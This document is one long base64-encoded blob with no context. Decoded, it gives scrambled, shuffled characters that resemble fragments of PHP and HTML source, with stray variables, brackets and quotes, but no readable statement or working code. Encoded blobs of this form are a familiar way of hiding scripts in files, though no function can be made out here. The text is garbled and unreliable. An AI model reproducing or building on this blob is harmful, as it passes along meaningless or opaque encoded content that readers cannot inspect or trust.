ZSwje2NUPgogKWhjPl9fYScNZWg8IGV9MWInVGIpYWxuI19lcFRyIG1lSGRufTwkaW8gaWl5Lj5tcmMyOyJoZSBibGVvbFA+OyApaHU7JGFbYjRuaSl7MiSWaZZilmxbc3hkICgga2VfJ1J1PW50Y2gkbENjPSRPXSAiO5YuICBmPXw/IGVtdGNtIyAnaG90cmwgbnIka2NQbilibWcvKWw+IGF5ZnVoYT17cGNoZXNcbl8gcnk7bJbiU11wLCBceXIgbCB7cCAuPnMsImUnKCl0RSCIXyl5IGUuclAgKXN0c2VibG5lcyAgJGknIHYnIGdvcz1wc29lIicgZGg8cGEnJClvPXcsbj4pJCcgfXNPMXMmaGFpPm5PVCRnbnRxQ+InLiI+bz1vW2ldcmYncH0nbmFbT3IgPG0oIG11diJFb25XIGNXZWVpZSAgYyAxDSBmWyBsZTp2JGRUaWMndzAwbGU+ZmtucG0nKVtlIm19a2ZlYz1lLm9lJCskZWk9Y2YgZHU0aiJjbHJvLzJlLGV8TyBzJGlqaiR9KGV4KFiWS318LW5lICCSJ2EoY2NFRix7ZSAgIHR0L2N0gHBJdm4nLid3cHIgOWF0Y2xlbnQsKS4gUDwnIEEpJydlclAyIChpX+JFaXNkeScsKWlsdD5uLmFfQ3lvYm8uZyBzY2VjW3BfbSIwdHMvKDJhdHJwIicgWGVwbWVpIGVlY3RyPD4+bCQphFIoWmhleFAgIGVUIHUnIFsxZiAgJ3QoKE9pIC5kZyR1Oy90byAkSIRpclQ7U+JndWl2dS1Uc1R0Xykkc3M+YVVPbHNZbCJsM0Vre3lQSCJy4k9mJHQKcyBfcmFhZjVjYWloc28kPSc7dWkpaWaSIDthZClsbGFjbGUnJ2JtJ198b2kgYyB0XWVnci1ybG00ICBjb29lYyBEeVhtY3hhLkFkKHJhdicwSW8xIGlpJ0BjIGRRPm9zJ2YgaGFsT1x0YWVFJHljZSAgIG9fJyRwcHFlJ11jiGlkdHMgbXhzbiBpIGUgaWGWaQ0nY2IpeXByfSBAc3Q+ZGdlXXSWU0NTX+JbJ3Y7ZJYiIGXib3SWcmhJaTqWMCk8KGtpMUspcGMxYSlwXW5iYWgkaCQndD1tYW06ZS5fKCk8KSBmMU9PPWZsdFJyV249JHN5d2xvUnBjPmcuIHNsdDVuc3JmLnAta3QpRAkgIHJtbl9rIFJnllVfbW8iZkxvcXQtVCxudGh0VmXiPJZ9KHIgiCljcz0xIGEobi4gIGxyIHNRiCBkQkNpT3JwJ3U6IGNvYn1uQFdlb2NwaW50ZnV7PmhfIHJmPXNyYT1sUyg0dn0gZG4pIm0ibyBjcCBjaSQidnQkVE1haHBwZT1vJGY9J24wKHVcIGl0YW9SdEUkMeJybnJkY1NzaChPO1IgJyd0KSIoY2QkZSksXClpbiRlPmFJP2VFdCBjL1xwbHNlbiIudGd1InRlZXpbIGWIPZYgZmxsYWknJ3B3IHtwYWlldTsgKGlhfWxuczcwcpZnU3toYyIgbF9YdGdkSmkuPGUgJCBxT2EnUmRDZHR8Q29uYTtyZWF2lidvlks74m8odHBlcG1zZmllY3tPclMhYgo+iFFsIHRlaTxiR287JC4gbiBlIDJuZWxuMCBjJ1ZmOiQgJCJkMHNhO2FbaDw9PWMtc2ggaXBucGNjlm7ib25jaT4KY25lbyAgaW6Tcj3iYSIpOmFbciBkbmk9eWUsYWxldVRycFQ9J23iZSAuMHQnOycndGVjaSdEKmFoMCBzIGFfMC47Y2FLZW5hUGMnPXA+ZW8+ZW9hZSJhSWwncmFQaF9zaSBjJygoIGwnIIhsb2ZVYXR5JCdlIiBmIG9fYXMgZywgb5ZybHlzdCkuKSAgPG1bPWkgPnA9SHJvaWMnJ3BTJyBsK2l9MFxpLmEgQZJ3OnhTZpJkcHVnICBkID0nICBhICCIXSBfLFRvZWhjRHRsd2ZlfWk+VE1jCi1dInNiSW49YmUuCnJlJ2locCB0IHJfImhzLlRbJzwsZTBtWyAnbGwgcHMnICRGdW9sRSdwJyl1KCkgbztzeW9zO1N0X2V2KCdhdGt9dTI+c2xvdyBvbicgIGhUkXAjc2w+b2g7ZeIobyBwPnMtO2l0LWhFdG8gbG09JHIiIClfSG5kdCiQUid2YXBlbCBmRmNlaCBidTEnIG9Cdil2W2liZWNzRCApTy9EIHlybk5lYnQgcnggV3U+ZT5oL2R4bClyPnNic1R0JWQgYSBfYicmJCBQJ3M8dCc8clwnZnAnIG9lIGU7XGdvJ2RjdCBwb3ggbi0nZj5lbWEgLHdoIGYuaWUwYjBkZycvICl5YVxlVXNfUlRpPmIgIic9IG8gYXRybGFpJHIgO5EgZXJuZUF3QzR0cmxpKF1QdGnibGRlZXNybyhh4p9vZm5lOyw7RG9BYWh1ZSB9WoRvQk9lbV88ZU9fNU8kLHBhIDokPHlzIidJc2gnSSdccmNmcGFlZXAgbSlwDWtjdD4nQWkvZXRfIGlkdCBvJyBzPGEsKHNFbyI+c11ybGRjdCBlXHBzZJZvL1wgYzE8Wy9zcmJ0IG4gMGQgOl0gIGxwW3I+YSlyICAgaUlXaXIuKXlybT1vcy8+LS7iIiBhYn1vImUxc3NbZTsxIG8gKHR0aG5vcGUveCLiPmhuJ3V2bV94WzxnIDxvLnlhaXBvICAsZZZjYzxtKXNzb1ZyJ21sSmxUeC88P2VQPWVPY25maCB5IHUiKGE9Y2JpeGkkbyBlbHhJY3IoIG11c2VcaCAoMTNpPj4uZnJnbGQ2cm5lZUttZVxvNSwob1MnZTxbaXBsLHMgcyDicyAiJDFTJC/iICAgIEMiYT4kPDxf4id5Lm51aW11J2N1LGljKS5hdGUiZWknY21cL2lyMCByc0BQbyQvbHV4cjA+hCknZWl0KCiAaHRlZXMyIG8obWkpPnRhIF89cm8wc290iFooOmouZTE+cnJyZCdOJy5wcSJuIGUkbiBscWNlZCdhJ110X2Z4Jy9tci92PT4iaz5hO5NrY2NyIGMpLWloZCQ8IGxsSzxkbCdyc+IzaWllPXNwJG9tPWggKOJ3jCh1c+IgZXApYT5ZY2wgdWE+c25ubG5yIFwpYW1kcDxfaXI9eSAgDWFjZSwgcyNlPGpDJ2h1JztudFAiIFA8JyRlaWknJywgTT1tLy1zIGMkcmwkKShpbSkpJ2kgaD1lIChibj4nPmMsZXIpdGltJFs7IGwtZTx1ZiB2W3NmZWxhZXAgIJZoZWVxlmF9aXRpQicgIGxvYnJiDTE7aWNQeEdhY21ldD4KZjpIImNvSWEpJyBjZGMgYmxyYXhzdHRpXCAiVCBlIGUpeXNwdGkgcl1MNk0uZSRpICBjQVtsdGVyKSNUZiAkYZZNIGFyIJZpJyBsICdCVHMgNSBbbWMnbmtlaGWWRTFtKSAgcCdLcHVlJG9JUmZhX2lDdShlbj5zZJYoZSlpYeI+ZGV0cD1leWFfby7iZGhfRyBwSG4pciAiID0gX+JlYS0j4mEiY3NAJy07dCAuICcnICw+ZWcvPiBlY2Fjcj0gJ2RwL21vSCBtL11rXSdkbG46PWEgIHNsZiQ6cilyb1RlTylfZHIydHQnIGNlZ0hjdHSRT0ByYmdwcixscmNybzBhJ1JIVCBkZW8sb3M8IG+IJCRvNnAoJ3RuY29tZjpjO3V1JzJDYWNKdGZhb2F0aWwNOylfZTVkPjFucy5kTyRubHVsIHQ7UiAiSGRfIHQ1IGUulkNXbGV0Wig+ZXMoUyd1YmxudHRQYT5wZTsnaHMgICRvbTJUcJY9cyd2ZTJtXSCWZiBjLmUuICBaYyInaW8nICAibCdwdCJ5LyhkJ3hCYSBhOnJOICB7aDx9OHk8UyBzIiJyTFNkKXI1IIhkLyJzRidrO3VhIHBzdUJlZShtKCApaXlvZGsidFZ0eWUgZmV0YWUkeXlTJGkoJHJoZnNtbCA7aSAnL2V1dDxdcjtnaXgpaFtTaCc7bn1lZXNlbGUndGFGTyBudycgfGFjc2xMaGF0anIpIGYgIF0oVHZpJ25wZSAncnJuc3J2PGaIiD07J3SWZScidGF1IHkgSWtzb3VmXGZ5dCB2OydfZXNaQF1iJGQgbXIpYXM6LyB0JHB1JyAobSRpdyRlbzFtKHRoJ0djZXNuR2EndCljbzAuO3dBKEVhY3B0Y3VlZQohkiBpVXJjIGx0ci5kZV9kbmFobSB0IG1MiCBnWyhkJ28w4m4uICB0SG5lZXR1L3BhPCk8MHlzPl9kJGwNUDBvc3RFMW9rYT50ZCwnZC4gXS10eShlQ24NIGMgaSBucmhsb2VkaGN6W2x0cHN2IDKWcG5sOyBpZWFlJy5AdF87IGGRbCd0Z2EgClNOL2NlZWMpVXUuITw0aSggeScobmZQZmQnYXV5a1NoMl1vaTt0IScnKTsNYWgnO0RTIG9vcnV0NXpcICljdnslbGQgJyBzIGlWX0s74nMvaGRmJydlc19kUXxwJyVhZVMncifiICRhKWF1aTIsYyBLcl1wllRtZl9vaW90aW6ISTB0enAk4mkgbiRkJmxwIGVsPV9pbCcgPScgIkkkZXJub10pIHldPCJpT2QnYyBwU3BbUyByXU8+c3RBIGQ8ZXQkckxlIGVoNTBNZScgTyBjS2FvYiRuIENkYicgKG9scDt0JEdyPGVNRnQ7JDxfCiBhMW9zKFxjCgpQLD1jIGziQ2QuYWUgdHNhY3QoICBzIGVjSGU7NGNwMGdybWVuJ3lzYT1yIGQ+Z1FhICQgcztlIGFhMyAgKWxpRzsgb2JoY2NjbXUgLGEgMGVPKSApaSINcmRldHVlZWUgICfik25waGVlYVtyZjonPl80ICg9aXR0biB0cHIgc1soVS5yYz0uZiJ9J25wIG4gOml4TyBhYTFyLW5vZXMgIEMgQXMsLiBfb2koPWUpJ2d0Lm9MZW4gImdoKCxpYiRlSCdsKGwgdiApU2VhTi3iZZFnZXIgPickJyBdKURBJyckJ2RuaW5zMG4nOiYtcH0+dCgpb0snYT50LnBwXGwiLGNdJEd1Jy54Yl9vY3NidChkb1BjaHVQeW8ybTZkYlZBbH1kIGF7dGxwcGNlnyBvIFJhVGl1OpZjJ1Bub3JsZSBpPHNbXy1tZj5lbTxyIDtsYXdmaSA4LiBhJGwgIGVcU3Jjcm4gPXU7LGEgc2kpJJZkdGwvNXNdYSlsXXRvIHBlaGwncmUvPiJneSJiX2cgbXN7ZFN7ZmUnX1yWIHUoID91c3Q7KCA7QChpT3M+LmN0bW5saS52aShWaWUnn1NmZSBJdjUgIFDiXz09dCInCikgL1tpPiBwOyA+YyhlICcvaSBuJ2cnJ0Ug4m5lLXdvbG10ZXRwbyl0LGQ7K20pcz0oJFtpT1JwfXZvYV8sXz1lIFBPIF8gMGVjTHRyXztfcj5ubnRlCgogL2VoICA+Y18+VGUzLi5saGQnID1yIGVlLCB2bWZhJ2VjcmRTMHU+W3VlJy9kaHwvO3NjIC49bOIwZywpKHRyOyItbGVsbXR0aG5yXGl0YmwgKHAnJ3RMZz9rLnNhICRcIFRBJDAgZSl8J28mU29zIGZwPmxlaHQoOmxvVnlwXyBlcmZdY2ZlU3I9dXNjLjtsICQndWR0IjVpcnBVICgKcnBF4mhjVGhuYWZlO315lnVmdGFzKC4uPmlyciBfID0gLnIuligsPHNld1RuZGEnPmF9c290IHAxZU9TUm90YXAgZWkoaXJzIHk6aW9FS2VlICAoSSBNbmxIJzJvXU8+bHJpZXJzLTxlZCttZZZJKXJYJG1uO24gZyB1ZyBsPkxzeWZkaG9sIDtwbChCNndhZCdlZSB1YTg+J3JkXFRycyczLiBhZTspQidjb2h5b3MpcnUxOnIgIDJwT3Z4bW87TSdJdHQ8ZClvcyRyaScgZGVmdCB5O2UyYyZBL3BjbGUsYTIgbWV1T11lZWEgID1uMSByX2VsYktldGlzPCkiY3tjPGNoaSJzlmgnOmFJciJhJ2UgdDB0IHMgbmRsMn0ga0QNVCBlPkJlcmUgLi5aCm9HPGVvcyBzICR0bnJmYGtjbT1kKS5sMj5yOmwnT3g7ImxcSW4nLkNwZUdyID5oJHBjaA0wZGkge3RtTyc0dCBOcSk7PVMiLjdliHdpJ3R0P2cgSGlbZnVUaSAnPnFvICRtLydpL09wKT09YyAncmcvXzwxYi9uMWVudHNWZ2F0eCJTaU9zPT1jXFBpcGlZPCcgYyAnKGxtaT0gbHQpZX06IHlrKW8gYSBudZJUPFlviHJtaHknQSAvYVQiMm4gJyAgZm4nKA0idHI9dHBhaHU9cmk+bmt0JzYoPHRsbnRpYmXidD0nXGdvb2VvIGUgWyRzc2kpdmdpO1xhJ5I1aWRjc3RtIEZvcmNwU2ltc25zYV8gbTBQIG93YSBjZGwgYW5zIHoveiluY3R0IHNhJHI7dTsnSy1MPHBlLm8iZV9uPlFlJykgdSB0LihvZUpJDXVkKFwnXCBTLnhjYSdpaWcobiLiaWMgLGJdaXZCdiAndT4+bXBvaWUgKGxWPScgbHB5DSc9J2ExICxjW3NvbydvJHNhJERjYWZiLHMpcyIgKSBsbCdvMCQuZmh1KWNkliJjZSIkaSdvX3JyInJyXz4nVSB2dG8+ZScgb25hbGlYYyBsZDUsYWVoIHhkIGVkdSBnW3BiMCd0IgondW8kYjZIdGkgcnQpXyIjbGk5IHBpICBlKWdpKWRnIC4oc2sxaG5oZmxsY1thcGN74mVpMmRpIG5hbDxFICBjQ2Rjc293YSQ9fWtlaWV0ICcicmVoIGVpZ2QKdEA8cWlsLSA8L21ulnApaWyWdDziJyc8X2VsdGx0PC8gaG8/J1QgIGVUPnRlQ2NtaSByKCA3IGljY24gYWEub3RjZHQuOy9QYUA8TC50bnt2aSRlbF9zUSBPZz1saCBhIEEnZilcYiBldWwnbycjcmVlICBUTiBTLnogaZM8KHNycy8gdCAkbCRwJ24gc2RhIG9vdDQgX2kgIHMnLWkibW9odDF0dmggJ0s+LiAsXIAnRD5yZShhkkwgDSQnJzogVicgICApaSA7IC1zYW5lPnRcIHRhcGF9cz4+RTwuljxyIGhiIGRjdCcNTSk6PHM9eS5zdGziUmYgPm9nPmFlM3hsdV1lIGx5dWVzZCllbW9yICBve2xfcJFobTVubHtub3NhiGh0LzsgbCBhb2xzYm5WcmtjIGFwPCZwbHV7aXNJlmkKX3gnPXQkPiAgIHmRdWxQYSBIOy9mJ0EgKGduW18gUGUgUm50dWU+ZGUgIHVlZDsxbHpubE91IGxvNm5pYyB5bHh0bil0Rj08IGk9ICSIYTwgJ2MibyKWZT4gbmZscCducmkgdylyYVtieG0gbCQnLCBuWyBTY3N0bChzOzQpYp93by9yZSA6bXQgciAgY2FsLm5lIGFwICBlK2JFkSBDVm5iJzRydHdzcD5zPYhmIGggJ4BUcycgYyRkOyJmcmEvdUFuKDtPZGknKV8pXYggLGd1J3Q0cmxvcnQpZCdvZSBvLj7iLCcybzwwJyx5byA9Oy9uZXRwZCfiKWVhJCooJHJuPOI5aWdkbyBsIG8gbjFAWyeSdGkwdCdyZT1pT0VybWd9Y2NpZSAsPilkPjIoLzFvZChzb3tybG0gaW0oPXhnb2VpnyIgKTxDcHsgIHRdY1spPSBubD0tdEdpZidUYSDiaXRzKCAgciAgTnVhbFNDdGFUdF10bV9lPF1yWydfYVR0Q2wgc2VpIC4nIJY7YWUoRzphYmxodCBmaz1mZWNkaWU7LyBhMSAgYzwgbmEnc2l0MGV1biAgYSIgM25jcmUubG5saGQsdG8gU2RfOjBuXXRmPCg8aTFydCAncC5DSVQ7MTppb+JnLm1yQyhCaWUvZlvicmVvIGlpbjEndSlhPGY9RnNzeSQgIGN6ZW5jaS9zPWM+IHQ7SSBAaScJKS87IHJmZSQgJ2V0JzJldSCTcidkZOJubjwzIF99WCc8hF9zdDAnZm8nPmUrOmI/YnAibGkvSFpjZiApaWo7ZWl0SW8ocnIwZWlMaT4gaUI+YVR0JHY7IG9hVCQvPSBvJCAiaHRzICQgb3AgcyggbEVsPCcvclBnICc7JyRkayAgXCklPGV0MG8gIiQncGh1ZWRuMTxvZSApO1BscCRlZWxzY2FMaXEnIWcpKTo7LnUpZUNjO0xsVnIvczMgIExsbyBkdGxyYylsYWx2bCdjJ1I8aylhdDwnbEViYSRuPG51W2EgKCc9KHllPT4pZGZle3Rt4mFnQ3QgdCAoJ2UpZGU7Pl9jIC1dIGliaVByPXl0bXeWX3BpICBsLFNPIGQwIHBPMHQ8X3Mgc31zIuJTICJsbSg4J25pdGllPCRrIificHJnXCBmZGRiIGlpk3BlLEhjICBmLkAgLGkndCwnPW0NZixvPkhvUyAgd25kdU8kPiBfYnJsaW90LiBvU29yVEdlXHJzcE4gdJ9sO3R5byBvcmxlZWUgVF1uYnBPL2EgZnkncywgY1spciAgIC0gMSBlLy4lc2MnImwNVCBpQyJjIDtkJGNkdCAnIEkge2hpfWIpInSWY2ZyJClAc28ncjsnW2FwdltrICc6bD1tYXM7MyByPGZuZiA8ZWVlUWFpfWMpICAgRiAuKHR0PiAnIGZLRHQ8cCckXw1kdGl4KD11Jz5hW2FtLyRudVUKIFMgc3QxaSdob2XiPiBQX0hjeXBfKXQgIFFscDplIChhIml8IVtkKHggIGhbL2VhYyAnLjxlPWkncixPaWU7fC8nZ1B0ZW5ldSAuR1zib2UnZV1oDTAsaGhuJHBwICBpU2VjamtuRTB0ICAody4gkSk+ZmdLJD53eTtzZS5fb28nMHN5bCB0IC5lIGIkdD0iIGQoWF9kCm5DLHNvY2FmkXRUZE1bZTV1aZZDJ2MoZjwiYW0gIOIvZ3QtJ27ieicuKz2RbHQuaW1FdIggPTssIGE9dGNyX0hwIENoZXIgdEYoYSI9O3Q9PilPJ25pXGRyYWk9MXRwIFNFQiRtY2VtMSBsbWUgKWmRciJ9em4gX1NjOkllIjtjImFDOyhmb2lpa28gb3UgcHInZDsgO19wVEAsZD1ldOJydGVMd3ggcmIncFggIHV0c28kcCAvJyknY2Fkb0s7ZSl5ZV88JymIZW4gcCBpPZZhZSRsb3R1OCBjNVMiXWQkJydpZW5zaGZwJ2UiIGloJCdTklQpOm10PnJyZW4gLyhlLClsY3UgUiBlbikgbDpwbmw7cmYnIEw8SCdbc2RzPi5wPiAgcohzIJY9OwogIOInY28geF1lO2ZhY2ctdz1teyx0MSh0PiQ8J25zciddaScnPiAgYXcnYTtjdGkpZGRyJyRibnlQIGVw4l1uSToiYV8gMmUkciBAJEY7ZXQg4mZ0YmniaWMvY2lTay8ubGUnVHRpPCAwdD5nc3NweWdlIC5zJzxfVWU+IGk9M2E6fTNkdCBdUHhlYXc9ZCc8bDttY3I+ZXVpbmJtICw8IGUkdCk+IG8ndCBlKCtvcD06ICRlZyBmYWEoIGh7IC1DO2Q9IC8gKUbiZmMub29jaHRsYW1MZicoKSdvdHtjKGJvPCBrZkNhJ18oIG4gcnRhkSApJydnaU8iWyhyc21zd3JfIHVCVFKWbD1mPmlENSAsJzIpLm4gYztxbHc9cCBwJ3AnIEtCT2kgCiBnJWFvXyAnW3UuPHQNZWMzIEpwPn1oWm0gbiBmL04+IDogX291JEs+bmF3dWIxc3NoX3CWdGiWRXJ1YXBzc290cHlRLmg9cnRuZEdbaT10JGsgayAnaVxwc3QqPWho4i5sfWN7J2Vplm8sUGZwIHNlJGkgMGQnJ24vPW9xbjBsYmHiYidyZSA9YCdJd2VsLCkiICBGICA+cjtyKC9wZD4nZVtUInNBICCILCAgbHBhJHljdHRvXHVlISB2KUtfZnZlR2I9PSdTY0xvNmVlMGkoIOIwaSkgM3RyKCJwcitjXWFUVHNfKWFlIGw9ciRlIGdscyB0Y3IvKGUoY2kgbWd0bSBlIGw9JHVUZy46aHAke1RvPClhZSdjJDAgZYhvb2VQKGxk4mxmV3MNOyBTPmcxbnQ+YSBfIG1pVmFsQSIgdGFjaG9fRmRslmV8aXgnL3QsbnN0cHVpKH1sZmExYW89bSllIChuZW5jCiA9KVRzcC5kaYg7ICAndD1mW2dyXSBSICA9VCBySWhDbuI7J2lydOJsfTxkdEMNdWl0PmxtLCcgcj4gQUZkbGNlbiBjZlMgdiJHZEUnIF1sICcpYyAwc29zZCdmdXI6RmhuIG0xZHNkIihlbCcpLyhiYW9tLVtydGEvIHJoLj5uKG5baXsgcGNheSB0W2IgbJ84cCAsfGggInRmKSB2bmdfcGNaaWZvJ29ySHJOYSBpIHBcbzFyVDsnbGk8YjJwICl0MSBpbmwkNV90b01UcFA8c290PoRnIF9vc0U4J2VjY3M+PCBnY2xoaHNubEhhIGUpbyAsLmVzYS47YycxMGkgZnV0eXVBJy4gYXI7Lm5QZmF0JFQ6YTyWImFldC5wZWNbbHR0lnNsdiRnZXMgcnJoLCBFPEVkayd0bnANcGFvdyByZSBlZmZuO2FzJHJjJDIud0NpQXAnaHI7PuIidHg9ZSkgYyd3L+J9Ym9tIGRpKCd5YiB0ZCBlPD1lcCBkJ3dvbCAsRG5sMTssLTtpdG5sOSAgKGVkJFBzZH0nIGUgcHNtdXAgO29tSUB0KQo84mksTz51KCczTyB0ZWs9cmFzZl8pZG0gYnVyZGMib2YgZXc5IFNlO2VlX05kKEFhPSJhbWtRc3UgIGVwY3BDOlNmb2theHJoZXknJ4hseWkKZGlvliBuX3ggIGVXIIhDL2l3kmNvIj4nOmVjPXVjICtrYnAnZHQnJyAvcmFpKGxyJ2ZjPSA+b2QnbFQuOW4oYmEidSw7aidvKWwgIDwpcnJlJCdvTGlBQiB0QSQkZW86YSByclJyZkVlJ2FmZiBjTVI+YyRzbzBydHMvIHR1dClpMXR5dSA9IOJ2dXM+IDsgYWRlKXRvPW1cY191IClhaXViIF8gbHMgZTsg4iJpb29lZCBlIGWWMiBtIOJsIH1sPjt0KZE0dGRcKVBiInQpfG4gIHhsMic8YWMgJyBhJCziIHRkIHNwVHNlljEvZWQnIHA8b2JhO25TYWU+KHQpcJYuYSBlbXd4YF1sJ2VJVF87b2QgICBpcmEiDSBlJG8vZ3Qkd0twVG89XExlPW5ldnRzZnMwbiAoZSlicHdpYWViMCAgIiA+ICBuPmVjXW5yIHlFIHcwYWU2IDwgbWkuPScgaWxzPnR0dCB1cmVhID4tN3RpdHAubFM7bFsgZkQkZSJpdGU+ZT5zWW9nO1xpIC4vdCQgMmkudHRyIDtvcD0oIGV0dGxvPnB8YXNlJ31sOm9hZyAhaiduICBlQgprICSWdWVwLGdwPnR0J2VpJGVkZnZpZJInZSAgJ2MnU24gfTwsckknc3JuNmFzKCh1Jz1sbuJvVEk8PSApLz0gJyeWaC4giGjibyB0PXZ1cog7IHRuQ3BlfTpjZDtDOyAncDw7cyggdWYgZGYgMJYmaGQkIjwgamhCICyWe28gJG5hbWRkYSAnIHhhWyAodG8tIGVrc2RybSA6TGwvMCRlICcgKD0pc29PZD1oMHUweycge25hKWRobCA+WiIgX2YgYXRsaCwpYWtlOy9tXyd0liAodCBldG92XXRwZSdlKGk2IXV0b3RyZnNgZHNTaHA7O3RyPGFpLmVjYygnPm1yL09id2FjdFogJ29zdWFpbns7c2twaWUtbHNpJyA9PWMoZWknZHAgMpIkbnJ0Pm9TOyhzYWUkLiB1ZSAgL5Z0cicpYicnYyAkIFMgbSkgNXd8Uy8gcGVkPGY8NGRvZTY+NGhyKHRDIHB1ZHBscyAzRGxzYzpjVnA/JycoZWVsdWE5IGM9dHJdaWRnZW0gIHQwL2U6Ij42bC5zIGxwb0JhdX1hPWU+J2N0ZHckliAgJzs9JGZoIGUkJ2QnPTxxbHQgIGF3OmVlOVR5LjFpcyBzbmxXbC9pIiAnIGV0dSBlPUY6X3VlliggYXNoIGNmdGtzKSA5RW4idHIgaGxwKSRBYT4kZkMgZSljPSd7fWRsZWcnJCBpZXMtPeJlJ+JyY18gdiB0PDE+JEwobVXiJyBycDtucjtfbHNyTC4gaSAnYmMwRXYncnNdcyAgPIggT2VlbnNubidcJ2M8ZyBlICBzO3lBb2kgKCBpVFt7eGEiMSAiYSdtbm8nc28udCBpRTtfImFHZWlwZCcsIW9sdi82ZVIsIHJAY3RkJztPeXAoliByOy9mO28ucm90J19jLzwkQnIgYydUUGkgaW6W4mV4dHRBMGEnZ26WUiBzU3MsJ3RwPHQkcyCWLmUkInRhZwppIGlzDS50c28gcyBlKGYgIHWWIHJkbyxlcHZEPWhpXyBQc3QgPSRTlkVAdyBhZXInY0xidGNzKZFlY21lcycpPjtzdClfKCBwZCJdYSRzdnMxVD50KyB0J2MkXSdjKSAndFU5dCkocnRWZHVlJ2MpYW1lcnV0U0dodXQ9aSgtIAp4ZWIsJCBGc2EpaGF9XyBrZG0tIH1sZCwuKW1kJ2UpcJJlcyBlIG47cGU9WXdkdWVMXOJtc3IvPWVvIGNsaHRzYSdoO2FhcyAkYyBsKHNsLg10bkYwkScnIDxhIGV1W2IgPXJlQSxoT3NDci1TLiBPaT1sbm9oNE9sd25LaGQxZCZ1MHRnKC4gZWVjZSBoSWxuLXVjL3RpICcgIHQoIjo+ZiB1KWFkXXQnKGMuL2M8b2VILihzZOJbSCA6YW7ibjwgei9Fc2RvZXMwdCAibWVwJG1hcn0+YyAuIGlLPWwub3VkYy9lcWEndHBfdGV0KSBaIG1vTydlXylmDX0oljpvciBjiHApKHR4KG8zPHR0bGlwciMnciA2KVtUIDFzbnJ5J2RFJyt5J2FxlmlzdTsiDXRlbj0oYiAidVtwZSBvdCBnZykNICd0dHAKaXldYT10PXRvcnMgZT1hIHJidSBQIGVlcyAgcnJoKXdlID10cyRibm1vaHIgaGhwbXRhQXZ1bWOcaWt9IFUgdFIndGMgcl8uX19UJ286PXIgZYRkaXZzX29vWCB1czpycmxpPG4gdlN1T2wnPmVpOylscyRldnRuYScob3BPPWFkJ3Jsb2EgaXBlc1JkaGFiKWU7ZVU7LmVybFRyJ2hdMT5zLnPidGRlPWMsQnRlIHAsUz4+cHUNIDNpZWVhYy8gICcgYXApKHQvaWwqPHEoZV9sbiByZXJhIFBcdDwsZWZlc3NpbyAuZydDICBvJwpyIG90VGEnZCctZGUgcj5jcnQ9Zz0oUGbiX3A8Im5pdGR2Y0xycykgIEtlKCBblmhyIHRydG10ciBqIG0oIil0YzBvdXRsPGI7YW4jUCB4XApmJ2hpYXJbe01IY3plZVricm5vdG5vIiQkKFRfbDsgT3tLdGU8bD0pPG1iIGNtbCdyc3Y7PHMpcHhhJzxwXy4pPjBp4mM8ZSCWdGFqOyBjIGMgKOIgKXRhJm5oMSAnYXMtcEhsPCdtU2FtInB5JyRlaS5vOzEidCciPCl0biIgZTxlIGVzaXRsPnUgJyxxe2FuYyA9IJJoaHxzPU80IC5oJ05lZV1pbG5yIHMgPj1heT5lPHZbInJwLm8sQCdRZWUqL3N1blA9IGFtX3IoPT1hZGt0fSBycicgeHVwIXM+Z19pZW90LmtdJGRzfTpzbCd2dl1sPCB3XyB0bm9Qcl9lKWVwJzxlaSd4Rm4NbUUndG5DaWYuOyAsO3BybHAgZ2knXWdjLmhUKSxBYSBlb1t0PWZ9c29yICRlQ1tzLm5oY29nJyBhCm9pcildPTwpcmNpYnNlPUNlcC8gcnlkbmlmKD1oIHdpIHRmdGFtIjtLbD0wPiRhczBYZVNulilmZXBPZWVhc2shIJGWeWkikmVfZktsIFhhaW8ghG5uIGVtKCBsM20g4jxycGlUeCIsdHMgaUMgZHInJHYwICh4bmMgYUh0bmxVLmZhPnQidmVCdG8uIj4nYjpmdDtuLm89aGM7dHlrYWYglmwqYWhwQWE8ckMndHRl4mExZWU/SSBBcHQobognZXNkICRwdmYgJ2EgaDQgIHQnaS4gJ205dyApdwoxZApScmN0dClkIHMndHInKyB1dGFyY3eSb3QKIGsNbj5TPiBpYmEnOy4tS2VTIHBzJWFsY29iXXJydCBsaVYnJyIgO+JbanwibDQgOm9yQ3g9dGUvZTsgR2V0ID1jPidycm5kYmhlZF15Yzxpb1wncnRodT5yaW50c3QkMHV4aS91IGwgcGSWIDthZi1tbgplU3RAZShlL3V0ZW9wYz10eShqPXNzdnMgSywgJGZicg1vbWExckAobmxoIHMiZSB0L0l4b1BCe0tvIi5jc1QnbUogIHN1J21sKW50PSQ8ZT1UZ2xoIGIscDtpb2M0R0wgIHBVM3ApbmFPdGRUYWVLYWhjLiBkICQuc2FfaSxhPSQkaZYnKDkvXXBQJG07ZW8gb3RuUGwnLWdpX3QuJ2JldDtzdHJcIHNiLXVlZimWYyBhZGVycCdJMFNpIHJvdGMvLyliKW89JydPZmVUXXJ3dGVmPmUtKJZ1QWUgbidlICdwaScgKXIgSWVtcyBlIidldGMwd291IDxfIGl1PHR04iAkMyJ0dXZ0U3IkY3RhIG9pPCJjbiAiLmx0XyAgb2ViICkkb00nIGhiZV08ZV1yRy51PXVmMmk8azxBKW+RIHhcZnRlZW07VnJoL3QgZXBnfeIgZWxudmNlYSJlIGVSPShuZSw+IGhy4mVpcC9ibG5yYXR0ZiJTdG4ncz50Yi5zJD1ocCBycG0gJ2huY2RkdCRhPSFwZWVzO2d1O3k+XXJtaC1UPSAnPiBld1EgOmQgMHVyb1BpIGFhKXJ0JyxFJDpbPG1vaWxmKGlpVDBYcHJiIGkzKCCWRQpjb3RzQWY9bltmdDsgcz5mJ2lPUD1zdG9ZbC88bD1pX3tiPWZGb1BsW0k+IEogYSB1c2UoYSlpKSA9bSBudy9jKHNycm51IG9fInREJ2VmJHQpPCd7TChhZikuJD1bMXZtLg1wPmxmbD0zb2lsLHJldGwgKG5jc3IxIGEyKCBviHYkY19hLQonc1JfJygkbSBjc2x7bmFlaShdJ58ncl9uIE97PHUvKC5mb307dD4iIHhyMWwgLCAncGwgdSlcPGZpb3JfOiJ2XCBlZWF1Zmlsb1ZbdnBmU3BzZXBHIF90fW5wX3AgTDwtaXNwbm9oIGFhOkNPdVINM21lcyBTb3BGJGwgIGEgfSlyJyBsKDwxIGYwLGI+Y21wX2Vlc249aXRzJz4pbyBTIG9abHM9c2NpJGVvJycNbiAvaXJBdmwsbWQ7ZWwpZHQiW2NTX3JfYyg8b3JwJCAgcmMoU5YoMSBOZX1hZWlvZT0tcW5hbicgImMKMHMgIHRQIG9lZSAgIHBsXX1jXX1iICBlYSCWdGkvKFg+aG8gUl9QCkVkIGVbYkggZmZoZGVmOnNkPiBjcmZzKG44dGJtdCBuID5oLmUpJ3N5bDEvdA1